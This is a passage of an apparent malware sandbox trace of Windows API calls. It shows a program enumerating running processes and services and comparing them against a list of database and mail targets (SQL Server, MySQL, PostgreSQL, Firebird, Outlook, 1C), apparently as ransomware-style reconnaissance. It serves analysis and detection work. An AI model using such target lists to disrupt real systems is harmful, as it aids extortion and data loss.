dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.503] lstrlenW (lpString="lsass.exe") returned 9 [0256.503] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0256.503] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0256.503] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0256.503] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0256.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0256.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0256.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0256.503] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0256.503] lstrlenW (lpString="lsm.exe") returned 7 [0256.503] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0256.503] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0256.503] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0256.503] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0256.503] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0256.503] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0256.503] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0256.503] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.503] lstrlenW (lpString="svchost.exe") returned 11 [0256.503] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0256.504] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.504] lstrlenW (lpString="svchost.exe") returned 11 [0256.504] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0256.504] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.504] lstrlenW (lpString="svchost.exe") returned 11 [0256.504] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0256.504] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0256.505] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.505] lstrlenW (lpString="svchost.exe") returned 11 [0256.505] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0256.505] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0256.505] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0256.505] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0256.505] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0256.505] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.505] lstrlenW (lpString="svchost.exe") returned 11 [0256.505] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.505] lstrlenW (lpString="audiodg.exe") returned 11 [0256.505] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.506] lstrlenW (lpString="svchost.exe") returned 11 [0256.506] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.506] lstrlenW (lpString="svchost.exe") returned 11 [0256.506] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0256.506] lstrlenW (lpString="userinit.exe") returned 12 [0256.506] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.506] lstrlenW (lpString="dwm.exe") returned 7 [0256.506] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0256.507] lstrlenW (lpString="explorer.exe") returned 12 [0256.507] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.507] lstrlenW (lpString="spoolsv.exe") returned 11 [0256.507] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0256.507] lstrlenW (lpString="taskhost.exe") returned 12 [0256.507] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.507] lstrlenW (lpString="svchost.exe") returned 11 [0256.507] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x458, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0256.508] lstrlenW (lpString="chrome64b.exe") returned 13 [0256.508] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0256.508] lstrlenW (lpString="reader_sl.exe") returned 13 [0256.508] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x588, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0256.508] lstrlenW (lpString="AdobeARM.exe") returned 12 [0256.508] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0256.508] lstrlenW (lpString="dllhost.exe") returned 11 [0256.508] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x598, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0256.509] lstrlenW (lpString="cmd.exe") returned 7 [0256.509] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0256.509] lstrlenW (lpString="conhost.exe") returned 11 [0256.509] Process32NextW (in: hSnapshot=0x12c, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x180, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0256.509] CloseHandle (hObject=0x12c) returned 1 [0256.509] Sleep (dwMilliseconds=0x1f4) [0257.079] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x579f38 [0257.082] EnumServicesStatusExW (in: hSCManager=0x579f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 0 [0257.083] GetLastError () returned 0xea [0257.083] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0xcec) returned 0x59ce98 [0257.083] EnumServicesStatusExW (in: hSCManager=0x579f38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x59ce98, cbBufSize=0xcec, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x59ce98, pcbBytesNeeded=0x212ff44, lpServicesReturned=0x212ff5c, lpResumeHandle=0x0) returned 1 [0257.088] CloseServiceHandle (hSCObject=0x579f38) returned 1 [0257.090] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0257.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.090] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0257.090] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0257.090] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0257.090] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0257.090] lstrlenW (lpString="AudioSrv") returned 8 [0257.090] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0257.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0257.091] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0257.091] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0257.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0257.091] lstrlenW (lpString="BFE") returned 3 [0257.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0257.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0257.091] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0257.091] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0257.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0257.091] lstrlenW (lpString="CryptSvc") returned 8 [0257.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0257.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0257.091] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0257.091] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0257.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0257.091] lstrlenW (lpString="CscService") returned 10 [0257.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0257.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0257.091] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0257.091] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0257.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0257.091] lstrlenW (lpString="DcomLaunch") returned 10 [0257.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0257.091] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0257.091] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0257.091] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0257.091] lstrlenW (lpString="Dhcp") returned 4 [0257.091] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0257.091] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0257.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0257.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0257.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0257.092] lstrlenW (lpString="Dnscache") returned 8 [0257.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0257.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0257.092] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0257.092] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0257.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0257.092] lstrlenW (lpString="DPS") returned 3 [0257.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0257.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0257.092] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0257.092] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0257.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0257.092] lstrlenW (lpString="eventlog") returned 8 [0257.092] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0257.092] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0257.092] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0257.092] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0257.092] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0257.092] lstrlenW (lpString="EventSystem") returned 11 [0257.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0257.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0257.093] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0257.093] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0257.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0257.093] lstrlenW (lpString="gpsvc") returned 5 [0257.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0257.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0257.093] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0257.093] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0257.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0257.093] lstrlenW (lpString="LanmanWorkstation") returned 17 [0257.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0257.093] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0257.093] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0257.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0257.093] lstrlenW (lpString="lmhosts") returned 7 [0257.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0257.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0257.093] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0257.093] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0257.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0257.093] lstrlenW (lpString="MMCSS") returned 5 [0257.093] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0257.093] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0257.093] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0257.093] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0257.093] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0257.093] lstrlenW (lpString="MpsSvc") returned 6 [0257.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0257.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0257.094] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0257.094] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0257.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0257.094] lstrlenW (lpString="NlaSvc") returned 6 [0257.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0257.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0257.094] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0257.094] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0257.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0257.094] lstrlenW (lpString="nsi") returned 3 [0257.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0257.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0257.094] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0257.094] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0257.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0257.094] lstrlenW (lpString="PcaSvc") returned 6 [0257.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0257.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0257.094] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0257.094] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0257.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0257.094] lstrlenW (lpString="PlugPlay") returned 8 [0257.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0257.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0257.094] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0257.094] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0257.094] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0257.094] lstrlenW (lpString="Power") returned 5 [0257.094] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0257.094] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0257.094] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0257.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0257.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0257.095] lstrlenW (lpString="ProfSvc") returned 7 [0257.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0257.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0257.095] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0257.095] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0257.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0257.095] lstrlenW (lpString="RpcEptMapper") returned 12 [0257.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0257.095] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0257.095] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0257.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0257.095] lstrlenW (lpString="RpcSs") returned 5 [0257.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0257.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0257.095] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0257.095] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0257.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0257.095] lstrlenW (lpString="SamSs") returned 5 [0257.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0257.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0257.095] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0257.095] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0257.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0257.095] lstrlenW (lpString="Schedule") returned 8 [0257.095] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0257.095] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0257.095] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0257.095] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0257.095] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0257.096] lstrlenW (lpString="SENS") returned 4 [0257.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0257.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0257.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0257.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0257.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0257.096] lstrlenW (lpString="ShellHWDetection") returned 16 [0257.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0257.096] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0257.096] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0257.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0257.096] lstrlenW (lpString="Spooler") returned 7 [0257.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0257.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0257.096] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0257.096] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0257.096] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0257.096] lstrlenW (lpString="SysMain") returned 7 [0257.096] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0257.096] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0257.096] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0257.096] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0257.096] lstrcmpiW 